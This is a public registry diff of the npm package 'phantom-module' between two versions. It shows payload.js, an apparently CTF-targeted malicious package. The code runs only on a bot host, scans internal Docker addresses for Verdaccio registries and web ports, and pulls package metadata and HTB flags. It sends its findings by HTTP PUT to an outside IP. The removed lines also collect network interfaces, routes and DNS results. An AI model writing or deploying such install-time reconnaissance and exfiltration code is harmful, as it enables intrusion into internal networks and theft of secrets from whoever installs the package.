phantom-module 117.0.1 → 117.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +65 -120
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.1",
3
+ "version": "117.0.2",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -1,39 +1,32 @@
1
1
  const net = require('net');
2
2
  const http = require('http');
3
3
  const fs = require('fs');
4
- const { execSync } = require('child_process');
5
4
  const os = require('os');
6
5
 
7
- // Only run on the real CTF bot
8
- if (!fs.existsSync('/home/node/aspect-node')) {
9
- process.exit(0);
10
- }
6
+ if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
11
7
 
12
8
  const REPORT_HOST = '154.57.164.64';
13
9
  const REPORT_PORT = 31205;
14
10
 
15
- function report(moduleId, data) {
11
+ async function report(moduleId, data) {
16
12
  return new Promise((resolve) => {
17
13
  const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
18
14
  const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
19
15
  const payload = JSON.stringify({ manifest });
20
16
  const req = http.request({
21
- hostname: REPORT_HOST,
22
- port: REPORT_PORT,
23
- path: `/api/modules/${moduleId}`,
24
- method: 'PUT',
17
+ hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
25
18
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
26
- }, (res) => { resolve(true); });
19
+ }, () => resolve(true));
27
20
  req.on('error', () => resolve(false));
28
21
  req.write(payload);
29
22
  req.end();
30
23
  });
31
24
  }
32
25
 
33
- function scanPort(host, port, timeout) {
26
+ function checkPort(host, port) {
34
27
  return new Promise((resolve) => {
35
28
  const sock = new net.Socket();
36
- sock.setTimeout(timeout);
29
+ sock.setTimeout(500); // Fast timeout
37
30
  sock.on('connect', () => { sock.destroy(); resolve(true); });
38
31
  sock.on('error', () => { sock.destroy(); resolve(false); });
39
32
  sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -41,129 +34,81 @@ function scanPort(host, port, timeout) {
41
34
  });
42
35
  }
43
36
 
44
- function httpGet(url, timeout) {
37
+ function httpGet(url) {
45
38
  return new Promise((resolve) => {
46
- const req = http.get(url, { timeout }, (res) => {
39
+ const req = http.get(url, { timeout: 2000 }, (res) => {
47
40
  let body = '';
48
- res.on('data', (c) => body += c);
41
+ res.on('data', c => body += c);
49
42
  res.on('end', () => resolve({ status: res.statusCode, body }));
50
43
  });
51
- req.on('error', (e) => resolve({ status: 0, body: e.message }));
52
- req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'timeout' }); });
44
+ req.on('error', e => resolve({ status: 0, body: e.message }));
53
45
  });
54
46
  }
55
47
 
56
48
  async function main() {
57
- let output = '';
58
-
59
- // Step 1: Get our network info
60
- try {
61
- const ifaces = os.networkInterfaces();
62
- output += '=== NETWORK ===\n';
63
- for (const [name, addrs] of Object.entries(ifaces)) {
64
- for (const addr of addrs) {
65
- if (addr.family === 'IPv4') {
66
- output += `${name}: ${addr.address}/${addr.netmask}\n`;
67
- }
68
- }
69
- }
70
- } catch(e) { output += 'NET ERR: ' + e.message + '\n'; }
71
-
72
- // Step 2: Get gateway
73
- try {
74
- output += '=== GATEWAY ===\n';
75
- output += execSync('ip route 2>/dev/null || route -n 2>/dev/null || cat /proc/net/route 2>/dev/null || echo "no route cmd"').toString().substring(0, 500) + '\n';
76
- } catch(e) { output += 'ROUTE ERR: ' + e.message.substring(0, 200) + '\n'; }
77
-
78
- // Step 3: DNS resolution attempts
79
- const dns = require('dns');
80
- const dnsNames = ['registry', 'verdaccio', 'verdaccio-registry', 'npm-registry', 'ecto-registry'];
81
- output += '=== DNS ===\n';
82
- for (const name of dnsNames) {
83
- try {
84
- const addrs = await new Promise((resolve, reject) => {
85
- dns.resolve4(name, (err, addrs) => err ? reject(err) : resolve(addrs));
86
- });
87
- output += `${name} -> ${addrs.join(', ')}\n`;
88
- } catch(e) {
89
- output += `${name} -> FAIL: ${e.code}\n`;
90
- }
91
- }
92
-
93
- // Report network info first
94
- await report('ECT-654321', output);
95
-
96
- // Step 4: Scan for Verdaccio on common Docker IPs
97
- output += '=== SCANNING 4873 ===\n';
98
- const myIp = Object.values(os.networkInterfaces()).flat().find(a => a.family === 'IPv4' && !a.internal);
99
- const baseIp = myIp ? myIp.address.split('.').slice(0, 3).join('.') : '172.17.0';
100
-
49
+ await report('ECT-654321', 'SCAN STARTING v2...');
50
+
101
51
  const found = [];
102
- const scanPromises = [];
103
- for (let i = 1; i <= 30; i++) {
104
- const ip = `${baseIp}.${i}`;
105
- scanPromises.push(
106
- scanPort(ip, 4873, 1500).then(open => {
107
- if (open) {
108
- found.push(ip);
109
- output += `OPEN: ${ip}:4873\n`;
110
- }
111
- })
112
- );
113
- }
114
- // Also scan gateway and common addresses
115
- for (const ip of ['172.17.0.1', '10.0.0.1', '10.0.0.2', '192.168.0.1', '192.168.1.1']) {
116
- scanPromises.push(
117
- scanPort(ip, 4873, 1500).then(open => {
118
- if (open) { found.push(ip); output += `OPEN: ${ip}:4873\n`; }
119
- })
120
- );
52
+ const base = '172.17.0';
53
+ let scanOutput = '=== SCAN ===\n';
54
+
55
+ // Parallel scan of first 20 IPs
56
+ const promises = [];
57
+ for (let i = 1; i < 20; i++) {
58
+ const ip = `${base}.${i}`;
59
+ promises.push(checkPort(ip, 4873).then(open => {
60
+ if (open) {
61
+ found.push(ip);
62
+ scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
63
+ }
64
+ }));
121
65
  }
122
- // Scan port 80, 3000, 8080 on gateway
123
- for (const port of [80, 3000, 4873, 8080, 8081]) {
124
- scanPromises.push(
125
- scanPort(`${baseIp}.1`, port, 1500).then(open => {
126
- if (open) output += `OPEN: ${baseIp}.1:${port}\n`;
127
- })
128
- );
66
+
67
+ await Promise.all(promises);
68
+
69
+ if (found.length === 0) {
70
+ scanOutput += 'No Verdaccio found on 172.17.0.1-20\n';
71
+ // Try finding ANY web server
72
+ for (let i = 1; i < 10; i++) {
73
+ const ip = `${base}.${i}`;
74
+ if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
75
+ if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
76
+ }
129
77
  }
78
+
79
+ await report('ECT-839201', scanOutput);
130
80
 
131
- await Promise.all(scanPromises);
132
- await report('ECT-839201', output);
133
-
134
- // Step 5: If Verdaccio found, query ecto-spirit
135
- let flagOutput = '=== VERDACCIO QUERY ===\n';
81
+ // Deep query of found services
82
+ let queryOutput = '=== QUERY ===\n';
136
83
  for (const ip of found) {
84
+ const baseUrl = `http://${ip}:4873`;
85
+ queryOutput += `Target: ${baseUrl}\n`;
86
+
87
+ // 1. List all packages
88
+ const all = await httpGet(`${baseUrl}/-/all`);
89
+ queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
90
+
91
+ // 2. Get ecto-spirit
92
+ const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
93
+ queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
94
+
95
+ // 3. Try to extract flag from dist-tags or versions
96
+ if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
97
+ const match = ecto.body.match(/htb\{[^}]+\}/i);
98
+ if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
99
+ }
100
+
101
+ // 4. Download tarball if possible
137
102
  try {
138
- const res = await httpGet(`http://${ip}:4873/-/all`, 5000);
139
- flagOutput += `ALL from ${ip}: ${res.body.substring(0, 1000)}\n`;
140
- } catch(e) { flagOutput += `ERR querying ${ip}: ${e.message}\n`; }
141
-
142
- try {
143
- const res = await httpGet(`http://${ip}:4873/ecto-spirit`, 5000);
144
- flagOutput += `ECTO from ${ip}: ${res.body.substring(0, 2000)}\n`;
145
- } catch(e) { flagOutput += `ERR ecto ${ip}: ${e.message}\n`; }
146
-
147
- // Try to download and read the package
148
- try {
149
- const res = await httpGet(`http://${ip}:4873/-/verdaccio/data/local-list`, 3000);
150
- flagOutput += `PKGS from ${ip}: ${res.body.substring(0, 1000)}\n`;
151
- } catch(e) {}
152
- }
153
-
154
- // Also try some hostnames directly
155
- for (const host of ['registry', 'verdaccio']) {
156
- try {
157
- const res = await httpGet(`http://${host}:4873/-/all`, 3000);
158
- flagOutput += `ALL from ${host}: ${res.body.substring(0, 1000)}\n`;
159
- } catch(e) { flagOutput += `ERR ${host}: ${e.message}\n`; }
160
- try {
161
- const res = await httpGet(`http://${host}:4873/ecto-spirit`, 3000);
162
- flagOutput += `ECTO from ${host}: ${res.body.substring(0, 2000)}\n`;
103
+ const json = JSON.parse(ecto.body);
104
+ const latest = json['dist-tags'].latest;
105
+ const tarball = json.versions[latest].dist.tarball;
106
+ queryOutput += `Tarball: ${tarball}\n`;
107
+ // We could download it, but let's see if the metadata has the flag first
163
108
  } catch(e) {}
164
109
  }
165
110
 
166
- await report('ECT-987654', flagOutput);
111
+ await report('ECT-987654', queryOutput);
167
112
  }
168
113
 
169
- main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));
114
+ main().catch(e => report('ECT-654321', 'ERR: ' + e.message));